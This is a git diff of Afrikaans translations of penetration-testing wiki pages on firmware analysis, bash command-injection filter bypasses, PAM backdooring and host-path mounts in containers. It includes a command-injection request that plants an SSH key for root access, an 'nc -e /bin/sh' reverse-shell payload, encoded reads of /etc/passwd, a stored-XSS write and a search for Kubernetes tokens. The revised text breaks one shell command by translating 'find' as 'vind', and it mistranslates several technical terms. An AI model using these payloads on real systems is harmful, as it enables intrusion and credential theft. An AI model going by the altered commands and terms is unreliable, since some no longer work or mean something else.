## **Verkryging van die Firmware**
|
||||
## **Die Firmware Verkryging**
|
||||
|
||||
Die verkryging van firmware kan op verskillende maniere benader word, elk met sy eie vlak van kompleksiteit:
|
||||
Om firmware te verkry kan op verskeie maniere benader word, elk met sy eie vlak van kompleksiteit:
|
||||
|
||||
- **Direk** van die bron (ontwikkelaars, vervaardigers)
|
||||
- **Bou** dit vanaf verskafde instruksies
|
||||
- **Aflaai** van amptelike ondersteuningswebwerwe
|
||||
- Gebruik van **Google dork** navrae om gehoste firmware-lêers te vind
|
||||
- Gebruik **Google dork** navrae om gehoste firmware-lêers te vind
|
||||
- Toegang tot **cloud storage** direk, met gereedskap soos [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
- Interseptering van **opdaterings** via man-in-the-middle tegnieke
|
||||
- **Uittrek** van die toestel deur verbindings soos **UART**, **JTAG**, of **PICit**
|
||||
- **Intercepteer** **opdaterings** via man-in-the-middle tegnieke
|
||||
- **Ekstrak** van die toestel deur verbindings soos **UART**, **JTAG**, of **PICit**
|
||||
- **Sniffing** vir opdateringsversoeke binne toestelkommunikasie
|
||||
- Identifisering en gebruik van **hardcoded update endpoints**
|
||||
- **Dumping** van die bootloader of netwerk
|
||||
- **Verwydering en lees** van die stoorchip, wanneer alles anders misluk, met toepaslike hardewaregereedskap
|
||||
- **Verwyder en lees** die stoorchip, wanneer alles anders misluk, met toepaslike hardeware gereedskap
|
||||
|
||||
## Analisering van die firmware
|
||||
|
||||
Nou dat jy **die firmware het**, moet jy inligting daaroor uittrek om te weet hoe om dit te hanteer. Verskillende gereedskap wat jy daarvoor kan gebruik:
|
||||
Nou dat jy **die firmware het**, moet jy inligting daaroor onttrek om te weet hoe om dit te behandel. Verskillende gereedskap wat jy daarvoor kan gebruik:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -48,7 +48,7 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
As jy nie veel met daardie gereedskap vind nie, kyk na die **entropy** van die beeld met `binwalk -E <bin>`, as die entropy laag is, is dit waarskynlik nie geënkripteer nie. As die entropy hoog is, is dit waarskynlik geënkripteer (of op een of ander manier gecomprimeer).
|
||||
As jy nie veel met daardie gereedskap vind nie, kyk na die **entropy** van die beeld met `binwalk -E <bin>`, as die entropy laag is, is dit waarskynlik nie versleuteld nie. As die entropy hoog is, is dit waarskynlik versleuteld (of op een of ander manier gecomprimeer).
|
||||
|
||||
Boonop kan jy hierdie gereedskap gebruik om **lêers wat in die firmware ingebed is** te onttrek:
|
||||
|
||||
@ -65,7 +65,7 @@ Binwalk onttrek dit gewoonlik binne 'n **map wat as die lêerstelseltipe genoem
|
||||
|
||||
#### Handmatige Lêerstelsel Onttrekking
|
||||
|
||||
Soms sal binwalk **nie die magiese byte van die lêerstelsel in sy handtekeninge hê nie**. In hierdie gevalle, gebruik binwalk om die **offset van die lêerstelsel te vind en die gecomprimeerde lêerstelsel** uit die binêre te **karve** en die lêerstelsel volgens sy tipe handmatig te onttrek met die stappe hieronder.
|
||||
Soms sal binwalk **nie die magiese byte van die lêerstelsel in sy handtekeninge hê nie**. In hierdie gevalle, gebruik binwalk om die **offset van die lêerstelsel te vind en die gecomprimeerde lêerstelsel** uit die binêre te sny en die lêerstelsel **handmatig te onttrek** volgens sy tipe met die stappe hieronder.
|
||||
```
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -117,7 +117,7 @@ Sodra die firmware verkry is, is dit noodsaaklik om dit te ontleed om die strukt
|
||||
|
||||
### Beginanalise Gereedskap
|
||||
|
||||
'n Stel opdragte word verskaf vir die aanvanklike inspeksie van die binêre lêer (verwys na `<bin>`). Hierdie opdragte help om lêertipes te identifiseer, stringe te onttrek, binêre data te analiseer, en die partisie- en lêerstelselbesonderhede te verstaan:
|
||||
'n Stel opdragte word verskaf vir die aanvanklike inspeksie van die binêre lêer (verwys na `<bin>`). Hierdie opdragte help om lêertipes te identifiseer, stringe te onttrek, binêre data te analiseer, en die partisie en lêerstelsel besonderhede te verstaan:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -126,13 +126,13 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
Om die versleutelingstatus van die beeld te evalueer, word die **entropy** nagegaan met `binwalk -E <bin>`. Lae entropy dui op 'n gebrek aan versleuteling, terwyl hoë entropy moontlike versleuteling of kompressie aandui.
|
||||
Om die versleutelingstatus van die beeld te evalueer, word die **entropy** nagegaan met `binwalk -E <bin>`. Lae entropy dui op 'n gebrek aan versleuteling aan, terwyl hoë entropy moontlike versleuteling of kompressie aandui.
|
||||
|
||||
Vir die onttrekking van **ingebedde lêers**, word gereedskap en hulpbronne soos die **file-data-carving-recovery-tools** dokumentasie en **binvis.io** vir lêerinspeksie aanbeveel.
|
||||
|
||||
### Onttrekking van die Lêerstelsel
|
||||
|
||||
Met `binwalk -ev <bin>` kan 'n mens gewoonlik die lêerstelsel onttrek, dikwels in 'n gids wat na die lêerstelseltipe genoem word (bv. squashfs, ubifs). Wanneer **binwalk** egter nie die lêerstelseltipe kan herken nie weens ontbrekende magic bytes, is handmatige onttrekking nodig. Dit behels die gebruik van `binwalk` om die lêerstelseloffset te lokaliseer, gevolg deur die `dd` opdrag om die lêerstelsel uit te sny:
|
||||
Met `binwalk -ev <bin>` kan 'n mens gewoonlik die lêerstelsel onttrek, dikwels in 'n gids wat na die lêersteltype genoem is (bv. squashfs, ubifs). Wanneer **binwalk** egter nie die lêersteltype kan herken nie weens ontbrekende magic bytes, is handmatige onttrekking nodig. Dit behels die gebruik van `binwalk` om die lêerstel se offset te vind, gevolg deur die `dd` opdrag om die lêerstel uit te sny:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -144,13 +144,13 @@ Daarna, afhangende van die lêerstelseltipe (bv. squashfs, cpio, jffs2, ubifs),
|
||||
|
||||
Met die lêerstelsel onttrek, begin die soektog na sekuriteitsfoute. Aandag word gegee aan onveilige netwerk daemons, hardgecodeerde akrediteer, API eindpunte, opdatering bediener funksies, nie-gecompileerde kode, opstart skripte, en gecompileerde binêre vir off-line analise.
|
||||
|
||||
**Belangrike plekke** en **items** om te inspekteer sluit in:
|
||||
**Belangrike plekke** en **items** om te ondersoek sluit in:
|
||||
|
||||
- **etc/shadow** en **etc/passwd** vir gebruikers akrediteer
|
||||
- SSL sertifikate en sleutels in **etc/ssl**
|
||||
- Konfigurasie en skrip lêers vir potensiële kwesbaarhede
|
||||
- Ingebedde binêre vir verdere analise
|
||||
- Algemene IoT toestel web bedieners en binêre
|
||||
- Algemene IoT toestel webbedieners en binêre
|
||||
|
||||
Verskeie gereedskap help om sensitiewe inligting en kwesbaarhede binne die lêerstelsel te ontdek:
|
||||
|
||||
@ -160,7 +160,7 @@ Verskeie gereedskap help om sensitiewe inligting en kwesbaarhede binne die lêer
|
||||
|
||||
### Sekuriteitskontroles op Gecompileerde Binêre
|
||||
|
||||
Sowel die bronkode as gecompileerde binêre wat in die lêerstelsel gevind word, moet ondersoek word vir kwesbaarhede. Gereedskap soos **checksec.sh** vir Unix binêre en **PESecurity** vir Windows binêre help om onbeskermde binêre te identifiseer wat uitgebuit kan word.
|
||||
Sowel bronkode as gecompileerde binêre wat in die lêerstelsel gevind word, moet ondersoek word vir kwesbaarhede. Gereedskap soos **checksec.sh** vir Unix binêre en **PESecurity** vir Windows binêre help om onbeskermde binêre te identifiseer wat uitgebuit kan word.
|
||||
|
||||
## Emulering van Firmware vir Dynamiese Analise
|
||||
|
||||
@ -168,7 +168,7 @@ Die proses van emulering van firmware stel **dynamiese analise** in staat, hetsy
|
||||
|
||||
### Emulering van Individuele Binêre
|
||||
|
||||
Vir die ondersoek van enkele programme, is dit van kardinale belang om die program se endianness en CPU argitektuur te identifiseer.
|
||||
Vir die ondersoek van enkele programme, is dit noodsaaklik om die program se endianness en CPU argitektuur te identifiseer.
|
||||
|
||||
#### Voorbeeld met MIPS Argitektuur
|
||||
|
||||
@ -192,7 +192,7 @@ Gereedskap soos [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware A
|
||||
|
||||
## Dinamiese Analise in Praktyk
|
||||
|
||||
Op hierdie stadium word 'n werklike of geëmuleerde toestelomgewing vir analise gebruik. Dit is noodsaaklik om shell-toegang tot die OS en lêerstelsel te handhaaf. Emulasie mag nie perfek hardeware-interaksies naboots nie, wat af en toe emulasie-herlaai vereis. Analise moet die lêerstelsel herbesoek, blootgestelde webbladsye en netwerkdienste benut, en opstartlaaier kwesbaarhede verken. Firmware integriteitstoetse is krities om potensiële agterdeur kwesbaarhede te identifiseer.
|
||||
Op hierdie stadium word 'n werklike of geëmuleerde toestelomgewing vir analise gebruik. Dit is noodsaaklik om shell-toegang tot die OS en lêerstelsel te handhaaf. Emulasie mag nie perfek hardeware-interaksies naboots nie, wat af en toe emulasie-herlaai vereis. Analise moet die lêerstelsel herbesoek, blootgestelde webbladsye en netwerkdienste ontgin, en opstartlaaier kwesbaarhede verken. Firmware integriteitstoetse is krities om potensiële agterdeur kwesbaarhede te identifiseer.
|
||||
|
||||
## Tydren Analise Tegnieke
|
||||
|
||||
@ -200,7 +200,7 @@ Tydren analise behels interaksie met 'n proses of binary in sy bedryfsomgewing,
|
||||
|
||||
## Binary Exploitatie en Bewys-van-Konsep
|
||||
|
||||
Om 'n PoC vir geïdentifiseerde kwesbaarhede te ontwikkel, vereis 'n diep begrip van die teikenargitektuur en programmering in laervlak tale. Binary tydren beskermings in ingebedde stelsels is skaars, maar wanneer dit teenwoordig is, mag tegnieke soos Return Oriented Programming (ROP) nodig wees.
|
||||
Die ontwikkeling van 'n PoC vir geïdentifiseerde kwesbaarhede vereis 'n diep begrip van die teikenargitektuur en programmering in laervlak tale. Binary tydren beskermings in ingebedde stelsels is skaars, maar wanneer dit teenwoordig is, mag tegnieke soos Return Oriented Programming (ROP) nodig wees.
|
||||
|
||||
## Voorbereide Bedryfstelsels vir Firmware Analise
|
||||
|
||||
@ -213,30 +213,30 @@ Bedryfstelsels soos [AttifyOS](https://github.com/adi0x90/attifyos) en [EmbedOS]
|
||||
|
||||
## Firmware Downgrade Aanvalle & Onveilige Opdatering Meganismes
|
||||
|
||||
Selfs wanneer 'n verskaffer kriptografiese handtekening kontroles vir firmware beelde implementeer, **word weergawe terugrol (downgrade) beskerming dikwels weggelaat**. Wanneer die opstart- of herstel-laaier slegs die handtekening met 'n ingebedde publieke sleutel verifieer, maar nie die *weergawe* (of 'n monotone teller) van die beeld wat geflits word, vergelyk nie, kan 'n aanvaller wettig 'n **ouer, kwesbare firmware wat steeds 'n geldige handtekening het** installeer en dus gepatchte kwesbaarhede weer inbring.
|
||||
Selfs wanneer 'n verskaffer kriptografiese handtekening kontroles vir firmware beelde implementeer, **word weergawe terugrol (downgrade) beskerming dikwels weggelaat**. Wanneer die opstart- of herstel-laaier slegs die handtekening met 'n ingebedde publieke sleutel verifieer, maar nie die *weergawe* (of 'n monotone teller) van die beeld wat geflits word vergelyk nie, kan 'n aanvaller wettiglik 'n **ouer, kwesbare firmware wat steeds 'n geldige handtekening het** installeer en dus gepatchte kwesbaarhede weer inbring.
|
||||
|
||||
Tipiese aanval werkvloei:
|
||||
|
||||
1. **Verkry 'n ouer onderteken beeld**
|
||||
* Grijp dit van die verskaffer se publieke aflaaiportaal, CDN of ondersteuningsite.
|
||||
* Kry dit van die verskaffer se publieke aflaaiportaal, CDN of ondersteuningsite.
|
||||
* Trek dit uit metgesel mobiele/desktop toepassings (bv. binne 'n Android APK onder `assets/firmware/`).
|
||||
* Verkry dit van derdeparty repositories soos VirusTotal, Internet argiewe, forums, ens.
|
||||
* Verkry dit van derdeparty repositories soos VirusTotal, internet argiewe, forums, ens.
|
||||
2. **Laai of dien die beeld aan die toestel** via enige blootgestelde opdateringskanaal:
|
||||
* Web UI, mobiele-app API, USB, TFTP, MQTT, ens.
|
||||
* Baie verbruikers IoT toestelle stel *onaangetekende* HTTP(S) eindpunte bloot wat Base64-gecodeerde firmware blobs aanvaar, dekodeer dit bediener-kant en aktiveer herstel/opgradering.
|
||||
3. Na die terugrol, benut 'n kwesbaarheid wat in die nuwer weergawe gepatch is (byvoorbeeld 'n opdrag-inspuitfilter wat later bygevoeg is).
|
||||
3. Na die downgrade, exploiteer 'n kwesbaarheid wat in die nuwer weergawe gepatch is (byvoorbeeld 'n opdrag-inspuitfilter wat later bygevoeg is).
|
||||
4. Opsioneel flits die nuutste beeld terug of deaktiveer opdaterings om opsporing te vermy sodra volharding verkry is.
|
||||
|
||||
### Voorbeeld: Opdrag Inspuiting Na Terugrol
|
||||
### Voorbeeld: Opdrag Inspuiting Na Downgrade
|
||||
```http
|
||||
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
|
||||
Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
In die kwesbare (afgegradeerde) firmware, word die `md5` parameter direk in 'n shell-opdrag gekonkateneer sonder sanitisering, wat die inspuiting van arbitrêre opdragte moontlik maak (hier – om SSH-sleutel-gebaseerde worteltoegang te aktiveer). Later firmware weergawes het 'n basiese karakterfilter bekendgestel, maar die afwesigheid van afgraderingsbeskerming maak die regstelling nutteloos.
|
||||
In die kwesbare (afgegradeerde) firmware, word die `md5` parameter direk in 'n skalkommando gekonkateneer sonder sanitisering, wat die inspuiting van arbitrêre opdragte moontlik maak (hier – om SSH-sleutel-gebaseerde worteltoegang te aktiveer). Later firmware weergawes het 'n basiese karakterfilter bekendgestel, maar die afwesigheid van afgraderingsbeskerming maak die regstelling nutteloos.
|
||||
|
||||
### Uittreksel van Firmware Uit Mobiele Toepassings
|
||||
### Onthulling van Firmware Uit Mobiele Toepassings
|
||||
|
||||
Baie verskaffers bundel volle firmware-beelde binne hul metgesel mobiele toepassings sodat die app die toestel oor Bluetooth/Wi-Fi kan opdateer. Hierdie pakkette word algemeen ongeënkripteerd in die APK/APEX onder paaie soos `assets/fw/` of `res/raw/` gestoor. Gereedskap soos `apktool`, `ghidra`, of selfs gewone `unzip` laat jou toe om ondertekende beelde te trek sonder om die fisiese hardeware aan te raak.
|
||||
```
|
||||
@ -246,9 +246,9 @@ firmware_v1.3.11.490_signed.bin
|
||||
```
|
||||
### Kontrolelys vir die Assessering van Opdateringslogika
|
||||
|
||||
* Is die vervoer/identifikasie van die *opdatering eindpunt* voldoende beskerm (TLS + identifikasie)?
|
||||
* Is die vervoer/identifikasie van die *opdaterings-eindpunt* voldoende beskerm (TLS + identifikasie)?
|
||||
* Vergelyk die toestel **weergawe nommers** of 'n **monotoniese anti-rollback teenaar** voordat dit geflashed word?
|
||||
* Word die beeld binne 'n veilige opstartketting geverifieer (bv. handtekeninge nagegaan deur ROM kode)?
|
||||
* Word die beeld binne 'n veilige opstartketting geverifieer (bv. handtekeninge nagegaan deur ROM-kode)?
|
||||
* Voer gebruikerslandkode addisionele gesondheidskontroles uit (bv. toegelate partisiekaart, modelnommer)?
|
||||
* Hergebruik *gedeeltelike* of *rugsteun* opdateringsvloei dieselfde valideringslogika?
|
||||
|
||||
|
@ -78,7 +78,7 @@ mi # This will throw an error
|
||||
whoa # This will throw an error
|
||||
!-1!-2 # This will execute whoami
|
||||
```
|
||||
### Om verbode spasie te omseil
|
||||
### Om te verbygaan verbode spasie
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
@ -114,7 +114,7 @@ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
### Bypass met hex kodering
|
||||
### Bypass met hex-kodering
|
||||
```bash
|
||||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
@ -294,9 +294,9 @@ ln /f*
|
||||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## Lees-Alleen/Geen Exec/Distroless Bypass
|
||||
## Lees-Alleen/Geen Uitvoering/Distroless Bypass
|
||||
|
||||
As jy binne 'n lêerstelsel is met die **lees-alleen en geen exec beskermings** of selfs in 'n distroless houer, is daar steeds maniere om **arbitraire binaries uit te voer, selfs 'n shell!:**
|
||||
As jy binne 'n lêerstelsel is met die **lees-alleen en geen uitvoering beskerming** of selfs in 'n distroless houer, is daar steeds maniere om **arbitraire binêre lêers uit te voer, selfs 'n shell!:**
|
||||
|
||||
{{#ref}}
|
||||
bypass-fs-protections-read-only-no-exec-distroless/
|
||||
@ -310,15 +310,15 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
|
||||
## Ruimte-gebaseerde Bash NOP Sled ("Bashsledding")
|
||||
|
||||
Wanneer 'n kwesbaarheid jou toelaat om gedeeltelik 'n argument te beheer wat uiteindelik `system()` of 'n ander shell bereik, mag jy nie die presiese offset weet waar uitvoering begin om jou payload te lees nie. Tradisionele NOP sleds (bv. `\x90`) werk **nie** in shell-sintaksis nie, maar Bash sal onskadelik lei spasie voor die uitvoering van 'n opdrag ignoreer.
|
||||
Wanneer 'n kwesbaarheid jou toelaat om gedeeltelik 'n argument te beheer wat uiteindelik `system()` of 'n ander shell bereik, mag jy nie die presiese offset weet waar uitvoering begin om jou payload te lees nie. Tradisionele NOP sleds (bv. `\x90`) werk **nie** in shell-sintaksis nie, maar Bash sal onskadelik lei spasiëring voor die uitvoering van 'n opdrag ignoreer.
|
||||
|
||||
Daarom kan jy 'n *NOP sled vir Bash* skep deur jou werklike opdrag te prefix met 'n lang reeks spasië of tab karakters:
|
||||
Daarom kan jy 'n *NOP sled vir Bash* skep deur jou werklike opdrag te prefix met 'n lang reeks spasie of tab karakters:
|
||||
```bash
|
||||
# Payload sprayed into an environment variable / NVRAM entry
|
||||
" nc -e /bin/sh 10.0.0.1 4444"
|
||||
# 16× spaces ───┘ ↑ real command
|
||||
```
|
||||
As 'n ROP-ketting (of enige geheue-korrosie-primitief) die instruksie-aanwyser enige plek binne die ruimteblok land, sal die Bash-parsser eenvoudig die spasie oorslaan totdat dit by `nc` kom, wat jou opdrag betroubaar uitvoer.
|
||||
As 'n ROP-ketting (of enige geheue-korrupsie-primitief) die instruksie-aanwyser enige plek binne die ruimteblok land, sal die Bash-pars eenvoudig die spasie oorslaan totdat dit by `nc` kom, wat jou opdrag betroubaar uitvoer.
|
||||
|
||||
Praktiese gebruiksgevalle:
|
||||
|
||||
@ -326,14 +326,14 @@ Praktiese gebruiksgevalle:
|
||||
2. Situasies waar die aanvaller nie NULL-byte kan skryf om die payload te belyn nie.
|
||||
3. Ingebedde toestelle waar slegs BusyBox `ash`/`sh` beskikbaar is – hulle ignoreer ook lei-spasies.
|
||||
|
||||
> 🛠️ Kombineer hierdie truuk met ROP gadgets wat `system()` aanroep om die ontploffingsbetroubaarheid op geheue-beperkte IoT-roeters dramaties te verhoog.
|
||||
> 🛠️ Kombineer hierdie truuk met ROP gadgets wat `system()` aanroep om die eksploit se betroubaarheid op geheue-beperkte IoT-roeters dramaties te verhoog.
|
||||
|
||||
## Verwysings & Meer
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
|
@ -26,25 +26,25 @@ session required /lib/security/pam_unix_session.so
|
||||
```
|
||||
#### **PAM Bestuur Ranges**
|
||||
|
||||
Hierdie ranges, of bestuursgroepe, sluit **auth**, **account**, **password**, en **session** in, elk verantwoordelik vir verskillende aspekte van die outentikasie en sessiebestuur proses:
|
||||
Hierdie ranges, of bestuursgroepe, sluit **auth**, **account**, **password**, en **session** in, elk verantwoordelik vir verskillende aspekte van die outentisering en sessiebestuur proses:
|
||||
|
||||
- **Auth**: Valideer gebruikersidentiteit, dikwels deur vir 'n wagwoord te vra.
|
||||
- **Auth**: Valideer gebruiker identiteit, dikwels deur vir 'n wagwoord te vra.
|
||||
- **Account**: Hanteer rekeningverifikasie, wat toestande soos groeplidmaatskap of tydsbeperkings nagaan.
|
||||
- **Password**: Bestuur wagwoordopdaterings, insluitend kompleksiteitskontroles of voorkoming van woordeboekaanvalle.
|
||||
- **Session**: Bestuur aksies tydens die begin of einde van 'n diensessie, soos om gidse te monteer of hulpbronlimiete te stel.
|
||||
|
||||
#### **PAM Module Beheer**
|
||||
|
||||
Beheer bepaal die module se reaksie op sukses of mislukking, wat die algehele outentikasieproses beïnvloed. Hierdie sluit in:
|
||||
Beheer bepaal die module se reaksie op sukses of mislukking, wat die algehele outentiseringsproses beïnvloed. Hierdie sluit in:
|
||||
|
||||
- **Required**: Mislukking van 'n vereiste module lei tot uiteindelike mislukking, maar slegs nadat alle daaropvolgende modules nagegaan is.
|
||||
- **Requisite**: Onmiddellike beëindiging van die proses by mislukking.
|
||||
- **Sufficient**: Sukses omseil die res van die kontrole van dieselfde reeks tensy 'n daaropvolgende module misluk.
|
||||
- **Sufficient**: Sukses omseil die res van dieselfde reeks se kontroles tensy 'n daaropvolgende module misluk.
|
||||
- **Optional**: Lei slegs tot mislukking as dit die enigste module in die stapel is.
|
||||
|
||||
#### Voorbeeld Scenario
|
||||
|
||||
In 'n opstelling met meerdere auth modules volg die proses 'n streng volgorde. As die `pam_securetty` module die aanmeldterminal as nie-geautoriseer vind, word root aanmeldings geblokkeer, maar alle modules word steeds verwerk weens sy "required" status. Die `pam_env` stel omgewing veranderlikes in, wat moontlik help met die gebruikerservaring. Die `pam_ldap` en `pam_unix` modules werk saam om die gebruiker te outentiseer, met `pam_unix` wat probeer om 'n voorheen verskafde wagwoord te gebruik, wat doeltreffendheid en buigsaamheid in outentikasie metodes verbeter.
|
||||
In 'n opstelling met meerdere auth modules volg die proses 'n strikte volgorde. As die `pam_securetty` module die aanmeldterminal ongeoorloof vind, word wortel aanmeldings geblokkeer, maar alle modules word steeds verwerk weens sy "required" status. Die `pam_env` stel omgewing veranderlikes in, wat moontlik help met die gebruikerservaring. Die `pam_ldap` en `pam_unix` modules werk saam om die gebruiker te outentiseer, met `pam_unix` wat probeer om 'n voorheen verskafde wagwoord te gebruik, wat doeltreffendheid en buigsaamheid in outentiseringsmetodes verbeter.
|
||||
|
||||
## Backdooring PAM – Hooking `pam_unix.so`
|
||||
|
||||
|
@ -40,7 +40,7 @@ return 0;
|
||||
#### **`/proc/sys/kernel/modprobe`**
|
||||
|
||||
- Gedetailleerd in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Bevat die pad na die kernmodule-laaier, wat aangeroep word om kernmodules te laai.
|
||||
- Bevat die pad na die kernmodule laaier, wat aangeroep word om kernmodules te laai.
|
||||
- **Toegang Kontrole Voorbeeld**:
|
||||
|
||||
```bash
|
||||
@ -49,18 +49,18 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Kontroleer toegang tot modprobe
|
||||
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- Verwys na [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- 'n Globale vlag wat beheer of die kern paniek of die OOM-killer aanroep wanneer 'n OOM-toestand voorkom.
|
||||
- Verwys in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- 'n Globale vlag wat beheer of die kern paniek of die OOM killer aanroep wanneer 'n OOM toestand voorkom.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
- Volgens [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), bevat opsies en inligting oor die lêerstelsel.
|
||||
- Skryftoegang kan verskeie ontkenning-van-diens-aanvalle teen die gasheer moontlik maak.
|
||||
- Skryftoegang kan verskeie ontkenning-van-diens aanvalle teen die gasheer moontlik maak.
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
- Laat registrasie van interprete vir nie-inheemse binêre formate gebaseer op hul magiese nommer toe.
|
||||
- Kan lei tot privilige-eskalasie of root shell toegang as `/proc/sys/fs/binfmt_misc/register` skryfbaar is.
|
||||
- Kan lei tot privaatheidsverhoging of root shell toegang as `/proc/sys/fs/binfmt_misc/register` skryfbaar is.
|
||||
- Betrokke uitbuiting en verduideliking:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Diepgaande tutoriaal: [Video skakel](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
@ -78,17 +78,17 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Kontroleer toegang tot modprobe
|
||||
- **Hervatting van Gasheer Voorbeeld**:
|
||||
|
||||
```bash
|
||||
echo b > /proc/sysrq-trigger # Herlaai die gasheer
|
||||
echo b > /proc/sysrq-trigger # Hervat die gasheer
|
||||
```
|
||||
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
- Stel kernringbufferboodskappe bloot.
|
||||
- Stel kernringbuffer boodskappe bloot.
|
||||
- Kan help met kernuitbuitings, adreslekke, en sensitiewe stelselinligting verskaf.
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
- Lys kerngeëksporteerde simbole en hul adresse.
|
||||
- Lys kern geëksporteerde simbole en hul adresse.
|
||||
- Essensieel vir kernuitbuiting ontwikkeling, veral om KASLR te oorkom.
|
||||
- Adresinligting is beperk met `kptr_restrict` op `1` of `2` gestel.
|
||||
- Besonderhede in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
@ -96,7 +96,7 @@ echo b > /proc/sysrq-trigger # Herlaai die gasheer
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
- Interfacing met die kern geheue toestel `/dev/mem`.
|
||||
- Histories kwesbaar vir privilige-eskalasie aanvalle.
|
||||
- Histories kwesbaar vir privaatheidsverhoging aanvalle.
|
||||
- Meer oor [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
#### **`/proc/kcore`**
|
||||
@ -109,7 +109,7 @@ echo b > /proc/sysrq-trigger # Herlaai die gasheer
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
- Alternatiewe interfacing vir `/dev/kmem`, wat kern virtuele geheue verteenwoordig.
|
||||
- Laat lees en skryf toe, en dus direkte wysiging van kern geheue.
|
||||
- Laat lees en skryf toe, dus direkte wysiging van kern geheue.
|
||||
|
||||
#### **`/proc/mem`**
|
||||
|
||||
@ -231,8 +231,7 @@ REFRESH_TOKEN_SECRET=14<SNIP>ea
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
|
||||
|
||||
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Gestoor XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
|
||||
are/nginx/html/index2.html
|
||||
/ # echo '<!DOCTYPE html><html lang="af"><head><script>alert("Gestoor XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index2.html
|
||||
```
|
||||
|
||||
The XSS was achieved:
|
||||
@ -249,7 +248,7 @@ The container can read K8s serviceaccount tokens or AWS webidentity tokens
|
||||
which allows the container to gain unauthorized access to K8s or cloud:
|
||||
|
||||
```bash
|
||||
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
|
||||
/ # vind /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
|
||||
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
|
||||
<SNIP>
|
||||
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
|
||||
@ -294,7 +293,7 @@ Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent
|
||||
```text
|
||||
/run/containerd/containerd.sock # containerd CRI-soket
|
||||
/var/run/crio/crio.sock # CRI-O runtime-soket
|
||||
/run/podman/podman.sock # Podman API (rootful of rootloos)
|
||||
/run/podman/podman.sock # Podman API (rootful of rootless)
|
||||
/run/buildkit/buildkitd.sock # BuildKit daemon (rootful)
|
||||
